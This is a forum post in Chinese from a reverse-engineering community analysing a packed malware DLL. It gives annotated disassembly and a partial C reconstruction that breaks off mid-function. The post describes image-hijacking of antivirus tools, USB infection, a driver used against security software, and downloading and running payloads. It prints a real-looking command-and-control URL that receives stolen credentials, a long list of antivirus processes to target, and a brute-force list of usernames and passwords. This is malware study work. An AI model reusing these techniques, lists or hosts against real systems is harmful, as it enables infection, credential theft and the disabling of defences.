好友
阅读权限10
听众
最后登录1970-1-1
|
孤独浪子
发表于 2012-7-18 16:54
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子! 病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途! 禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 孤独浪子 于 2012-7-18 17:00 编辑
小总结一下:映像劫持安全软件,下载文件,感染U盘,执行病毒,磁盘扫描等等!代码太多,大概的看了一下。
逆向了一个函数,详细分析了一个线程,具体请查看idb文件
UPX0:1000332A ; DWORD __stdcall sub_1000332A(LPVOID)
UPX0:1000332A sub_1000332A proc near ; DATA XREF: DllMain(x,x,x)+17o
UPX0:1000332A
UPX0:1000332A SystemTime = _SYSTEMTIME ptr -15Ch
UPX0:1000332A var_14C = byte ptr -14Ch
UPX0:1000332A var_144 = word ptr -144h
UPX0:1000332A hFile = dword ptr -13Ch
UPX0:1000332A var_138 = dword ptr -138h
UPX0:1000332A var_134 = dword ptr -134h
UPX0:1000332A Dst = byte ptr -130h
UPX0:1000332A hObject = dword ptr -28h
UPX0:1000332A lpBuffer = dword ptr -24h
UPX0:1000332A hHandle = dword ptr -20h
UPX0:1000332A var_1C = byte ptr -1Ch
UPX0:1000332A var_18 = dword ptr -18h
UPX0:1000332A var_10 = dword ptr -10h
UPX0:1000332A var_4 = dword ptr -4
UPX0:1000332A
UPX0:1000332A push ebp
UPX0:1000332B mov ebp, esp
UPX0:1000332D push 0FFFFFFFFh ; lpOverlapped
UPX0:1000332F push offset NumberOfBytesWritten ; lpNumberOfBytesWritten
UPX0:10003334 push offset loc_10005E70
UPX0:10003339 mov eax, large fs:0
UPX0:1000333F push eax
UPX0:10003340 mov large fs:0, esp
UPX0:10003347 push ecx
UPX0:10003348 push ecx
UPX0:10003349 sub esp, 144h
UPX0:1000334F push ebx ; cbInData
UPX0:10003350 push esi ; fOAEP
UPX0:10003351 push edi ; hCrypto
UPX0:10003352 mov [ebp-18h], esp
UPX0:10003355 push offset a4f9e860c9be947 ; "4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B"
UPX0:1000335A push 0 ; bInitialState
UPX0:1000335C push 1 ; bManualReset
UPX0:1000335E push 0 ; lpEventAttributes
UPX0:10003360 call CreateEventA
UPX0:10003366 mov dword_10009480, eax
UPX0:1000336B cmp dword_10009480, 0
UPX0:10003372 jz short loc_10003381
UPX0:10003374 call GetLastError
UPX0:1000337A cmp eax, ERROR_ALREADY_EXISTS
UPX0:1000337F jnz short loc_10003389
UPX0:10003381
UPX0:10003381 loc_10003381: ; CODE XREF: sub_1000332A+48j
UPX0:10003381 push 0 ; dwExitCode
UPX0:10003383 call ExitThread
UPX0:10003389 ; ---------------------------------------------------------------------------
UPX0:10003389
UPX0:10003389 loc_10003389: ; CODE XREF: sub_1000332A+55j
UPX0:10003389 and dword ptr [ebp-4], 0
UPX0:1000338D call Encrypt ; 主要执行解密一些东西和一个网络地址,看代码一!我把这函数给逆了
UPX0:10003392 or dword ptr [ebp-4], 0FFFFFFFFh
UPX0:10003396 jmp short loc_100033A3
UPX0:10003398 ; ---------------------------------------------------------------------------
UPX0:10003398
UPX0:10003398 loc_10003398: ; DATA XREF: UPX0:10006D1Co
UPX0:10003398 xor eax, eax
UPX0:1000339A inc eax
UPX0:1000339B retn
UPX0:1000339C ; ---------------------------------------------------------------------------
UPX0:1000339C
UPX0:1000339C loc_1000339C: ; DATA XREF: UPX0:10006D1Co
UPX0:1000339C mov esp, [ebp-18h]
UPX0:1000339F or dword ptr [ebp-4], 0FFFFFFFFh
UPX0:100033A3
UPX0:100033A3 loc_100033A3: ; CODE XREF: sub_1000332A+6Cj
UPX0:100033A3 push 0
UPX0:100033A5 push 0
UPX0:100033A7 push 0
UPX0:100033A9 push offset sub_10003F33 ; 和网络相关,主要是执行马和发送一些计算机信息到指定站点上,看反汇编代码二!
UPX0:100033AE push 0
UPX0:100033B0 push 0
UPX0:100033B2 call CreateThread
UPX0:100033B8 push 0
UPX0:100033BA push 0
UPX0:100033BC push 0
UPX0:100033BE push offset sub_100018D7 ; 和文件相关,下载文件,创建文件,加载文件啥的
UPX0:100033C3 push 0
UPX0:100033C5 push 0
UPX0:100033C7 call CreateThread
UPX0:100033CD mov [ebp+hHandle], eax
UPX0:100033D0 push 0
UPX0:100033D2 push 0
UPX0:100033D4 push 0
UPX0:100033D6 push offset sub_10003A8D ; 判断是否加载了驱动,加载了就是用了某个函数的B号功能以及导出SSDT那个结构,否者加载驱动
UPX0:100033DB push 0
UPX0:100033DD push 0
UPX0:100033DF call CreateThread
UPX0:100033E5 push 0
UPX0:100033E7 push 0
UPX0:100033E9 push 0
UPX0:100033EB push offset sub_10004618 ; 主要是和注册表有关,映像劫持杀软,设置自己的驱动启动方式
UPX0:100033F0 push 0
UPX0:100033F2 push 0
UPX0:100033F4 call CreateThread
UPX0:100033FA
UPX0:100033FA loc_100033FA: ; CODE XREF: sub_1000332A+109j
UPX0:100033FA xor eax, eax
UPX0:100033FC inc eax
UPX0:100033FD jz short loc_10003435
UPX0:100033FF call GetTickCount ; 获得系统启动的时间
UPX0:10003405 mov [ebp-134h], eax
UPX0:1000340B mov eax, [ebp-134h]
UPX0:10003411 xor edx, edx
UPX0:10003413 mov ecx, 1000
UPX0:10003418 div ecx ; 除以1000,得到秒数
UPX0:1000341A xor edx, edx
UPX0:1000341C push 60
UPX0:1000341E pop ecx
UPX0:1000341F div ecx ; 再除以60,得到分钟数
UPX0:10003421 cmp eax, 3 ; 比较是否小于3分钟
UPX0:10003424 jb short loc_10003428
UPX0:10003426 jmp short loc_10003435 ; 继续执行
UPX0:10003428 ; ---------------------------------------------------------------------------
UPX0:10003428
UPX0:10003428 loc_10003428: ; CODE XREF: sub_1000332A+FAj
UPX0:10003428 push 3E8h ; dwMilliseconds
UPX0:1000342D call Sleep
UPX0:10003433 jmp short loc_100033FA
UPX0:10003435 ; ---------------------------------------------------------------------------
UPX0:10003435
UPX0:10003435 loc_10003435: ; CODE XREF: sub_1000332A+D3j
UPX0:10003435 ; sub_1000332A+FCj
UPX0:10003435 push 104h ; 初始化的大小
UPX0:1000343A push 0 ; 被设置的字符
UPX0:1000343C lea eax, [ebp+Dst]
UPX0:10003442 push eax ; 初始化的起始偏移地址
UPX0:10003443 call memset
UPX0:10003448 add esp, 0Ch
UPX0:1000344B push 104h ; 缓冲区大小
UPX0:10003450 lea eax, [ebp+Dst]
UPX0:10003456 push eax ; 缓冲区
UPX0:10003457 call GetSystemDirectoryA ; 得到系统所在目录的路径
UPX0:1000345D push offset aDriversEtcHost ; "\\drivers\\etc\\hosts"
UPX0:10003462 lea eax, [ebp+Dst] ; 系统目录的路径,C:\\windows\\
UPX0:10003468 push eax
UPX0:10003469 call lstrcat ; 把他们接上得到完整路径,C:\\WINDOWS\\\\drivers\\etc\\hosts
UPX0:1000346F push 0 ; 模板文件的句柄
UPX0:10003471 push 80h ; 文件的标志和属性
UPX0:10003476 push 3 ; 创建文件的方式
UPX0:10003478 push 0 ; 安全标志
UPX0:1000347A push 3 ; 共享模式
UPX0:1000347C push 0C0000000h ; 访问标志
UPX0:10003481 lea eax, [ebp+Dst]
UPX0:10003487 push eax ; 文件的名称
UPX0:10003488 call CreateFileA
UPX0:1000348E mov [ebp+hObject], eax ; 返回值放入这里hObject
UPX0:10003491 mov [ebp+lpBuffer], offset a127_0_0_1Local ; "127.0.0.1 localhost\r\n"
UPX0:10003498 push 0 ; WriteFile的参数
UPX0:1000349A lea eax, [ebp-1Ch]
UPX0:1000349D push eax
UPX0:1000349E push [ebp+lpBuffer] ; 上面的字符串
UPX0:100034A1 call lstrlen ; 测试上面字符串的长度
UPX0:100034A7 push eax ; nNumberOfBytesToWrite
UPX0:100034A8 push [ebp+lpBuffer] ; lpBuffer
UPX0:100034AB push [ebp+hObject] ; hFile
UPX0:100034AE call WriteFile ; 写入上面的字符串到创建的文件
UPX0:100034B4 push [ebp+hObject]
UPX0:100034B7 call SetEndOfFile ; 设置文件结束
UPX0:100034BD push [ebp+hObject]
UPX0:100034C0 call CloseHandle ; 关闭文件句柄
UPX0:100034C6 push 104h ; 初始化大小
UPX0:100034CB push 0 ; 设置的字符串
UPX0:100034CD push offset FileName ; 初始化的起始偏移地址
UPX0:100034D2 call memset
UPX0:100034D7 add esp, 0Ch
UPX0:100034DA push 104h ; 缓冲区大小
UPX0:100034DF push offset FileName ; 缓冲区
UPX0:100034E4 call GetSystemDirectoryA ; 获得系统目录的路径
UPX0:100034EA push offset aDllcacheSystem ; "\\dllcache\\systembox.bak"
UPX0:100034EF push offset FileName ; 系统路径 C:\\Windows
UPX0:100034F4 call lstrcat ; 上面的字符串接上,得到一个完整的路径
UPX0:100034FA and dword ptr [ebp-138h], 0 ; 这里放入0
UPX0:10003501 jmp short loc_10003510
UPX0:10003503 ; ---------------------------------------------------------------------------
UPX0:10003503
UPX0:10003503 loc_10003503: ; CODE XREF: sub_1000332A+244j
UPX0:10003503 mov eax, [ebp-138h]
UPX0:10003509 inc eax
UPX0:1000350A mov [ebp-138h], eax
UPX0:10003510
UPX0:10003510 loc_10003510: ; CODE XREF: sub_1000332A+1D7j
UPX0:10003510 cmp dword ptr [ebp-138h], 100 ; 比较是否大于或等于100
UPX0:10003517 jge short loc_10003570 ; 大于等于100就跳,不然重复执行下面100次
UPX0:10003519 push 0
UPX0:1000351B push 80h
UPX0:10003520 push 3
UPX0:10003522 push 0
UPX0:10003524 push 0
UPX0:10003526 push 80000000h
UPX0:1000352B push offset FileName
UPX0:10003530 call CreateFileA ; 创建文件
UPX0:10003536 mov [ebp+hFile], eax ; 返回值放到这里
UPX0:1000353C cmp [ebp+hFile], 0FFFFFFFFh ; 比较返回值是否为-1
UPX0:10003543 jz short loc_10003566 ; 等于-1就跳
UPX0:10003545 push 0 ; lpFileSizeHigh
UPX0:10003547 push [ebp+hFile] ; hFile
UPX0:1000354D call GetFileSize ; 获得文件的大小
UPX0:10003553 mov nNumberOfBytesToWrite, eax ; 文件大小的返回值放入这里
UPX0:10003558 push [ebp+hFile] ; hObject
UPX0:1000355E call CloseHandle ; 关闭文件句柄
UPX0:10003564 jmp short loc_10003570
UPX0:10003566 ; ---------------------------------------------------------------------------
UPX0:10003566
UPX0:10003566 loc_10003566: ; CODE XREF: sub_1000332A+219j
UPX0:10003566 push 64h ; dwMilliseconds
UPX0:10003568 call Sleep
UPX0:1000356E jmp short loc_10003503
UPX0:10003570 ; ---------------------------------------------------------------------------
UPX0:10003570
UPX0:10003570 loc_10003570: ; CODE XREF: sub_1000332A+1EDj
UPX0:10003570 ; sub_1000332A+23Aj
UPX0:10003570 cmp nNumberOfBytesToWrite, 0
UPX0:10003577 jbe loc_10003672 ; 判断返回值的状态
UPX0:1000357D cmp nNumberOfBytesToWrite, 0FFFFFFFFh
UPX0:10003584 jz loc_10003672 ; 判断返回值的状态
UPX0:1000358A push 0
UPX0:1000358C push 80h
UPX0:10003591 push 3
UPX0:10003593 push 0
UPX0:10003595 push 1
UPX0:10003597 push 80000000h
UPX0:1000359C push offset FileName
UPX0:100035A1 call CreateFileA ; 创建文件
UPX0:100035A7 mov hFile, eax
UPX0:100035AC push 0
UPX0:100035AE push 0
UPX0:100035B0 push 0
UPX0:100035B2 push 2
UPX0:100035B4 push 0
UPX0:100035B6 push hFile
UPX0:100035BC call CreateFileMappingA ; 创建文件映射
UPX0:100035C2 mov hFileMappingObject, eax
UPX0:100035C7 push 0
UPX0:100035C9 push 0
UPX0:100035CB push 0
UPX0:100035CD push 4
UPX0:100035CF push hFileMappingObject
UPX0:100035D5 call MapViewOfFile ; 映射文件
UPX0:100035DB mov lpBuffer, eax ; 映射文件的返回值放到lpBuffer
UPX0:100035E0 cmp dword_10008454, 0
UPX0:100035E7 jz short loc_10003607
UPX0:100035E9 cmp lpBuffer, 0 ; 比较返回值是否为0
UPX0:100035F0 jz short loc_10003607 ; 等于0就跳,不然创建一个线程
UPX0:100035F2 push 0
UPX0:100035F4 push 0
UPX0:100035F6 push 0
UPX0:100035F8 push offset sub_1000311F ; 磁盘操作,扫描制定格式文件
UPX0:100035FD push 0
UPX0:100035FF push 0
UPX0:10003601 call CreateThread
UPX0:10003607
UPX0:10003607 loc_10003607: ; CODE XREF: sub_1000332A+2BDj
UPX0:10003607 ; sub_1000332A+2C6j
UPX0:10003607 cmp dword_10008460, 0
UPX0:1000360E jz short loc_10003628
UPX0:10003610 push 0
UPX0:10003612 push 0
UPX0:10003614 push offset aLan ; "LAN"
UPX0:10003619 push offset sub_10005265 ; 不知道要干啥呢
UPX0:1000361E push 0
UPX0:10003620 push 0
UPX0:10003622 call CreateThread
UPX0:10003628
UPX0:10003628 loc_10003628: ; CODE XREF: sub_1000332A+2E4j
UPX0:10003628 cmp dword_1000845C, 0
UPX0:1000362F jz short loc_10003646
UPX0:10003631 push 0
UPX0:10003633 push 0
UPX0:10003635 push 0
UPX0:10003637 push offset sub_100058E1 ; 感染可移动磁盘,向里面写入文件啥的,
UPX0:10003637 ; 和隐藏文件啥的,反正就一般般的东东
UPX0:1000363C push 0
UPX0:1000363E push 0
UPX0:10003640 call CreateThread
UPX0:10003646
UPX0:10003646 loc_10003646: ; CODE XREF: sub_1000332A+305j
UPX0:10003646 push 0FFFFFFFFh ; dwMilliseconds
UPX0:10003648 push [ebp+hHandle] ; hHandle
UPX0:1000364B call WaitForSingleObject
UPX0:10003651 cmp dword_10008464, 0
UPX0:10003658 jz short loc_10003672
UPX0:1000365A push 0
UPX0:1000365C push 0
UPX0:1000365E push offset aInternet ; "Internet"
UPX0:10003663 push offset sub_10005265 ; 不知道要干啥呢
UPX0:10003668 push 0
UPX0:1000366A push 0
UPX0:1000366C call CreateThread
UPX0:10003672
UPX0:10003672 loc_10003672: ; CODE XREF: sub_1000332A+24Dj
UPX0:10003672 ; sub_1000332A+25Aj ...
UPX0:10003672 cmp dword_10008468, 0
UPX0:10003679 jz short loc_100036A4
UPX0:1000367B push 1
UPX0:1000367D movzx eax, word_10008450
UPX0:10003684 push eax
UPX0:10003685 call sub_1000116C ; 和文件相关,下载文件啥的
UPX0:1000368A cmp eax, 1
UPX0:1000368D jnz short loc_100036A4
UPX0:1000368F push 0
UPX0:10003691 push 0
UPX0:10003693 push 0
UPX0:10003695 push offset sub_10005ACB ; 执行一个.exe文件
UPX0:1000369A push 0
UPX0:1000369C push 0
UPX0:1000369E call CreateThread
UPX0:100036A4
UPX0:100036A4 loc_100036A4: ; CODE XREF: sub_1000332A+34Fj
UPX0:100036A4 ; sub_1000332A+363j
UPX0:100036A4 cmp dword_1000846C, 0
UPX0:100036AB jz short loc_10003728
UPX0:100036AD lea eax, [ebp+SystemTime]
UPX0:100036B3 push eax ; lpSystemTime
UPX0:100036B4 call GetLocalTime
UPX0:100036BA
UPX0:100036BA loc_100036BA: ; CODE XREF: sub_1000332A+3FCj
UPX0:100036BA xor eax, eax
UPX0:100036BC inc eax
UPX0:100036BD jz short loc_10003728
UPX0:100036BF lea eax, [ebp+var_14C]
UPX0:100036C5 push eax ; lpSystemTime
UPX0:100036C6 call GetLocalTime
UPX0:100036CC movzx eax, [ebp+var_144]
UPX0:100036D3 movzx ecx, [ebp+SystemTime.wHour]
UPX0:100036DA sub eax, ecx
UPX0:100036DC cmp eax, dword_1000846C
UPX0:100036E2 jl short loc_1000371B
UPX0:100036E4 mov ax, [ebp+var_144]
UPX0:100036EB mov [ebp+SystemTime.wHour], ax
UPX0:100036F2 push 1
UPX0:100036F4 movzx eax, word_10008450
UPX0:100036FB push eax
UPX0:100036FC call sub_1000116C ; 和文件相关,下载文件啥的
UPX0:10003701 cmp eax, 1
UPX0:10003704 jnz short loc_1000371B
UPX0:10003706 push 0 ; lpThreadId
UPX0:10003708 push 0
UPX0:1000370A push 0
UPX0:1000370C push offset sub_10005ACB ; 执行一个。exe
UPX0:10003711 push 0
UPX0:10003713 push 0
UPX0:10003715 call CreateThread
UPX0:1000371B
UPX0:1000371B loc_1000371B: ; CODE XREF: sub_1000332A+3B8j
UPX0:1000371B ; sub_1000332A+3DAj
UPX0:1000371B push 0EA60h ; dwMilliseconds
UPX0:10003720 call Sleep
UPX0:10003726 jmp short loc_100036BA
UPX0:10003728 ; ---------------------------------------------------------------------------
UPX0:10003728
UPX0:10003728 loc_10003728: ; CODE XREF: sub_1000332A+381j
UPX0:10003728 ; sub_1000332A+393j ...
UPX0:10003728 xor eax, eax
UPX0:1000372A inc eax
UPX0:1000372B jz short loc_1000373A
UPX0:1000372D push 2710h ; dwMilliseconds
UPX0:10003732 call Sleep
UPX0:10003738 jmp short loc_10003728
UPX0:1000373A ; ---------------------------------------------------------------------------
UPX0:1000373A
UPX0:1000373A loc_1000373A: ; CODE XREF: sub_1000332A+401j
UPX0:1000373A xor eax, eax
UPX0:1000373C mov ecx, [ebp+var_10]
UPX0:1000373F mov large fs:0, ecx
UPX0:10003746 pop edi
UPX0:10003747 pop esi
UPX0:10003748 pop ebx
UPX0:10003749 leave
UPX0:1000374A retn 4
UPX0:1000374A sub_1000332A endp
代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:代码一:
程序开始创建一个互斥判断是否存在客户端,不存在就解密一些地址和一些数据
相关反汇编代码如下:
UPX0:1000374D ; void Encrypt(void)
UPX0:1000374D Encrypt proc near ; CODE XREF: sub_1000332A+63p
UPX0:1000374D
UPX0:1000374D var_6 = byte ptr -6
UPX0:1000374D var_5 = byte ptr -5
UPX0:1000374D var_4 = dword ptr -4
UPX0:1000374D hCrypto = dword ptr 8
UPX0:1000374D fOAEP = dword ptr 0Ch
UPX0:1000374D cbInData = dword ptr 10h
UPX0:1000374D pInData = dword ptr 14h
UPX0:1000374D pcbOutData = dword ptr 18h
UPX0:1000374D ppOutData = dword ptr 1Ch
UPX0:1000374D
UPX0:1000374D push ebp
UPX0:1000374E mov ebp, esp
UPX0:10003750 push ecx
UPX0:10003751 push ecx
UPX0:10003752 and dword ptr [ebp-4], 0
UPX0:10003756 push dword_10008480 ; dwMilliseconds
UPX0:1000375C call Sleep
UPX0:10003762 push 64 ; Size
UPX0:10003764 push 0 ; Val
UPX0:10003766 push offset byte_10009430 ; Dst
UPX0:1000376B call memset ; 初始化全局变量byte_10009430
UPX0:10003770 add esp, 0Ch
UPX0:10003773 push 256 ; Size
UPX0:10003778 push 0 ; Val
UPX0:1000377A push offset dword_10009228 ; Dst
UPX0:1000377F call memset ; 初始化全局变量dword_10009228
UPX0:10003784 add esp, 0Ch
UPX0:10003787 mov dword ptr [ebp-4], offset dword_10008488
UPX0:1000378E
UPX0:1000378E StartEncrypt: ; CODE XREF: Encrypt+76j
UPX0:1000378E mov eax, [ebp-4]
UPX0:10003791 movsx eax, byte ptr [eax] ; 从EAX里面取出一字节扩展到EAX
UPX0:10003794 test eax, eax ; 判断EAX是否为0
UPX0:10003796 jz short loc_100037C5 ; 等于0就跳
UPX0:10003798 mov eax, [ebp-4] ; 再次取出EBP-4的内容放到EAX
UPX0:1000379B mov al, [eax] ; 取出以为放到AL里面
UPX0:1000379D mov [ebp-5], al ; AL的内容放到EBP-5里面去
UPX0:100037A0 mov al, [ebp-5] ; 然后取出EBP-5的一字节放到AL里面去
UPX0:100037A3 sub al, 1 ; AL减去1
UPX0:100037A5 mov [ebp-5], al ; AL放回EBP-5里面去
UPX0:100037A8 movsx eax, byte ptr [ebp-5] ; 取出EBP-5的内容扩展后放到EAX
UPX0:100037AC xor eax, 0A5h ; EAX和0xA5异或
UPX0:100037B1 mov [ebp-5], al
UPX0:100037B4 mov eax, [ebp-4]
UPX0:100037B7 mov cl, [ebp-5]
UPX0:100037BA mov [eax], cl
UPX0:100037BC mov eax, [ebp-4]
UPX0:100037BF inc eax
UPX0:100037C0 mov [ebp-4], eax
UPX0:100037C3 jmp short StartEncrypt
UPX0:100037C5 ; ---------------------------------------------------------------------------
UPX0:100037C5
UPX0:100037C5 loc_100037C5: ; CODE XREF: Encrypt+49j
UPX0:100037C5 mov dword ptr [ebp-4], offset dword_100084D0
UPX0:100037CC
UPX0:100037CC loc_100037CC: ; CODE XREF: Encrypt+B4j
UPX0:100037CC mov eax, [ebp-4]
UPX0:100037CF movsx eax, byte ptr [eax]
UPX0:100037D2 test eax, eax
UPX0:100037D4 jz short loc_10003803
UPX0:100037D6 mov eax, [ebp-4]
UPX0:100037D9 mov al, [eax]
UPX0:100037DB mov [ebp-6], al
UPX0:100037DE mov al, [ebp-6]
UPX0:100037E1 sub al, 1
UPX0:100037E3 mov [ebp-6], al
UPX0:100037E6 movsx eax, byte ptr [ebp-6]
UPX0:100037EA xor eax, 0A5h
UPX0:100037EF mov [ebp-6], al
UPX0:100037F2 mov eax, [ebp-4]
UPX0:100037F5 mov cl, [ebp-6]
UPX0:100037F8 mov [eax], cl
UPX0:100037FA mov eax, [ebp-4]
UPX0:100037FD inc eax
UPX0:100037FE mov [ebp-4], eax
UPX0:10003801 jmp short loc_100037CC
UPX0:10003803 ; ---------------------------------------------------------------------------
UPX0:10003803
UPX0:10003803 loc_10003803: ; CODE XREF: Encrypt+87j
UPX0:10003803 mov dword ptr [ebp-4], offset aNAdministrator ; "n,Administrator,Guest,admin,Root,"
UPX0:1000380A
UPX0:1000380A loc_1000380A: ; CODE XREF: Encrypt+DFj
UPX0:1000380A mov eax, [ebp-4]
UPX0:1000380D movsx eax, byte ptr [eax]
UPX0:10003810 test eax, eax
UPX0:10003812 jz short loc_1000382E
UPX0:10003814 mov eax, [ebp-4]
UPX0:10003817 movsx eax, byte ptr [eax]
UPX0:1000381A cmp eax, 2Ch
UPX0:1000381D jnz short loc_10003825
UPX0:1000381F mov eax, [ebp-4]
UPX0:10003822 mov byte ptr [eax], 0
UPX0:10003825
UPX0:10003825 loc_10003825: ; CODE XREF: Encrypt+D0j
UPX0:10003825 mov eax, [ebp-4]
UPX0:10003828 inc eax
UPX0:10003829 mov [ebp-4], eax
UPX0:1000382C jmp short loc_1000380A
UPX0:1000382E ; ---------------------------------------------------------------------------
UPX0:1000382E
UPX0:1000382E loc_1000382E: ; CODE XREF: Encrypt+C5j
UPX0:1000382E mov dword ptr [ebp-4], offset aN1234Password6 ; "n,1234,password,6969,harley,123456,golf"...
UPX0:10003835
UPX0:10003835 loc_10003835: ; CODE XREF: Encrypt+10Aj
UPX0:10003835 mov eax, [ebp-4]
UPX0:10003838 movsx eax, byte ptr [eax]
UPX0:1000383B test eax, eax
UPX0:1000383D jz short loc_10003859
UPX0:1000383F mov eax, [ebp-4]
UPX0:10003842 movsx eax, byte ptr [eax]
UPX0:10003845 cmp eax, 2Ch
UPX0:10003848 jnz short loc_10003850
UPX0:1000384A mov eax, [ebp-4]
UPX0:1000384D mov byte ptr [eax], 0
UPX0:10003850
UPX0:10003850 loc_10003850: ; CODE XREF: Encrypt+FBj
UPX0:10003850 mov eax, [ebp-4]
UPX0:10003853 inc eax
UPX0:10003854 mov [ebp-4], eax
UPX0:10003857 jmp short loc_10003835
UPX0:10003859 ; ---------------------------------------------------------------------------
UPX0:10003859
UPX0:10003859 loc_10003859: ; CODE XREF: Encrypt+F0j
UPX0:10003859 mov dword ptr [ebp-4], offset a360hotfix_exe3 ; "360hotfix.exe|360rpt.exe|360safe.exe|36"...
UPX0:10003860
UPX0:10003860 loc_10003860: ; CODE XREF: Encrypt+140j
UPX0:10003860 mov eax, [ebp-4]
UPX0:10003863 movsx eax, byte ptr [eax]
UPX0:10003866 test eax, eax
UPX0:10003868 jz short locret_1000388F
UPX0:1000386A mov eax, [ebp-4]
UPX0:1000386D movsx eax, byte ptr [eax]
UPX0:10003870 cmp eax, 7Ch
UPX0:10003873 jz short loc_10003880
UPX0:10003875 mov eax, [ebp-4]
UPX0:10003878 movsx eax, byte ptr [eax]
UPX0:1000387B cmp eax, 2Ch
UPX0:1000387E jnz short loc_10003886
UPX0:10003880
UPX0:10003880 loc_10003880: ; CODE XREF: Encrypt+126j
UPX0:10003880 mov eax, [ebp-4]
UPX0:10003883 mov byte ptr [eax], 0
UPX0:10003886
UPX0:10003886 loc_10003886: ; CODE XREF: Encrypt+131j
UPX0:10003886 mov eax, [ebp-4]
UPX0:10003889 inc eax
UPX0:1000388A mov [ebp-4], eax
UPX0:1000388D jmp short loc_10003860
UPX0:1000388F ; ---------------------------------------------------------------------------
UPX0:1000388F
UPX0:1000388F locret_1000388F: ; CODE XREF: Encrypt+11Bj
UPX0:1000388F leave
UPX0:10003890 retn
UPX0:10003890 Encrypt endp
这部分代码我写出来了,大家可以看下,
第二,大线程一之小线程1:
执行下载任务,连接网站,发送登录帐号和密码
地址如下:http://www.dy2004.com/msn/mm.htm
小线程2,下载上面解密的文本文档,然后又对Explorer.exe执行了一些操作,应该是判断启动进程以便注入,
小线程3,创建一个驱动服务,名字为WmiSvc.sys,给隐藏在system32\drivers目录下面,使用CreateFile创建\\\\.\\NtBox,\\\\.\\NtBox是和驱动通信的特征码!
CreateFile成功后,判断了一个地址是否为0,不为0就使用NtQuerySystemInformation的11号功能,Ring3导出了KeServiceDescriptorTable;
还有判断进程的杀毒名字,就是上面解密1那些软件名字,跳过对AVP的判断,,然后扫描进程
存在进程就使用DeviceIoControl来对抗杀软!DeviceIoControl的MSDN上面的解释
通过发送 IOCTL来控制指定驱动服务,让他们完成指定的操作!
This function sends an IOCTL directly to a specified device driver, causing the corresponding device to perform the specified operation.
小线程4,
把注册表里面的驱动启动部分改为2,2不知道是什么启动,好像有个自启动吧,设置为0还是1哦。
注册表操作,映像劫持杀软,把下面的软件名字在注册表这个位置SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution设置为ntsd -s ,
就映像劫持这些软件了
然后设置为调试状态.这个位置还使用了一些函数,PX0:1000477E call sub_100044C9
使用WNetAddConnection2A和虚拟机连接上,
又使用SetFileAttributesA来隐藏文件,
#pragma comment(lib,"Ws2_32.lib")
#include <Windows.h>
char VariableA[64];
unsigned long VariableB[256];
char KeyA[]={"我抑爧嬘佑屄輼枛拰撬蓩勺虌缮屢抟"}; //解密网页地址的Key,上面的是16进制的Key,
char KeyB[]={"n,Administrator,Guest,admin,Root,"};
char KeyC[]={"n,1234,password,6969,harley,123456,golf,pussy,mustang,1111,shadow,1313,fish,5150,7777,qwerty,baseball,2112,letmein,12345678,12345,ccc,admin,5201314,qq520,1,12,123,1234567,123456789,654321,54321,111,000000,abc,pw,11111111,8888,"};
char KeyD[]={"360hotfix.exe|360rpt.exe|360safe.exe|360safebox.exe|360tray.exe|agentsvr.exe|apvxdwin.exe|ast.exe|avcenter.exe|avengine.exe|avgnt.exe|avguard.exe|avltmain.exe|avp32.exe|avtask.exe|bdagent.exe|bdwizreg.exe|boxmod.exe|ccapp.exe|ccenter.exe|ccevtmgr.exe|ccregvfy.exe|ccsetmgr.exe|cqw32.exe|DrvAnti.exe|egui.exe|ekrn.exe|enc98.EXE|extdb.exe|frameworkservice.exe|frwstub.exe|guardfield.exe|iparmor.exe|kaccore.exe|kasmain.exe|kav32.exe|kavstart.exe|kavsvc.exe|kavsvcui.exe|kislnchr.exe|kissvc.exe|kmailmon.exe|knownsvr.exe|kpfw32.exe|kpfwsvc.exe|kregex.exe|kvfw.exe|kvmonxp.exe|kvmonxp.kxp|kvol.exe|kvprescan.exe|kvsrvxp.exe|kvwsc.exe|kvxp.kxp|kwatch.exe|livesrv.exe|mcagent.exe|mcdash.exe|mcdetect.exe|mcshield.exe|mctskshd.exe|mcvsescn.exe|mcvsshld.exe|mghtml.exe|naprdmgr.exe|navapsvc.exe|navapw32.exe|navw32.exe|nmain.exe|nod32.exe|nod32krn.exe|nod32kui.exe|npfmntor.exe|oasclnt.exe|pavsrv51.exe|pfw.exe|psctrls.exe|psimreal.exe|psimsvc.exe|qqdoctormain.exe|ras.exe|ravmon.exe|ravmond.exe|ravstub.exe|ravtask.exe|rfwcfg.exe|rfwmain.exe|rfwproxy.exe|rfwsrv.exe|rsagent.exe|rsmain.exe|rsnetsvr.exe|rssafety.exe|rstray.exe|safebank.exe|safeboxtray.exe|scan32.exe|scanfrm.exe|sched.exe|seccenter.exe|secnotifier.exe|SetupLD.exe|shstat.exe|smartup.exe|sndsrvc.exe|spbbcsvc.exe|symlcsvc.exe|tbmon.exe|uihost.exe|ulibcfg.exe|updaterui.exe|uplive.exe|vcr32.exe|vcrmon.exe|vptray.exe|vsserv.exe|vstskmgr.exe|vstskmgr.exe|webproxy.exe|xcommsvr.exe|xnlscn.exe|修复工具"};
typedef struct _hostent {
char FAR* h_name;
char FAR* FAR* h_aliases;
short h_addrtype;
short h_length;
char FAR* FAR* h_addr_list;
}*hostent;
void Encrypt(void)
{
/*char KeyA[]={
0xCE,0xD2,0xD2,0xD6,0xA0,0x8B,0x8B,0xD3,0xD3,0xD3,
0x8C,0xC2,0xDD,0x98,0x96,0x96,0x92,0x8C,0xC7,0xCB,
0xC9,0x8B,0xC9,0xD7,0xCC,0x8B,0xC9,0xC9,0x8C,0xD2,
0xDE,0xD2,0x00
}; 十六进制Key*/
unsigned long PartB =0;
Sleep(1000);
memset(VariableA,0,64);
memset(VariableB,0,256);
int Index=0;
while(KeyA[Index]) //开始解密
{
char Buf=KeyA[Index];
Buf-=1;
Buf^=0xA5;
KeyA[Index]=Buf;
Index++;
} //解密结束
Index=0;
while(KeyB[Index])
{
if(KeyB[Index]==0x2C)KeyB[Index]=0;
Index++;
}
Index=0;
while(KeyC[Index])
{
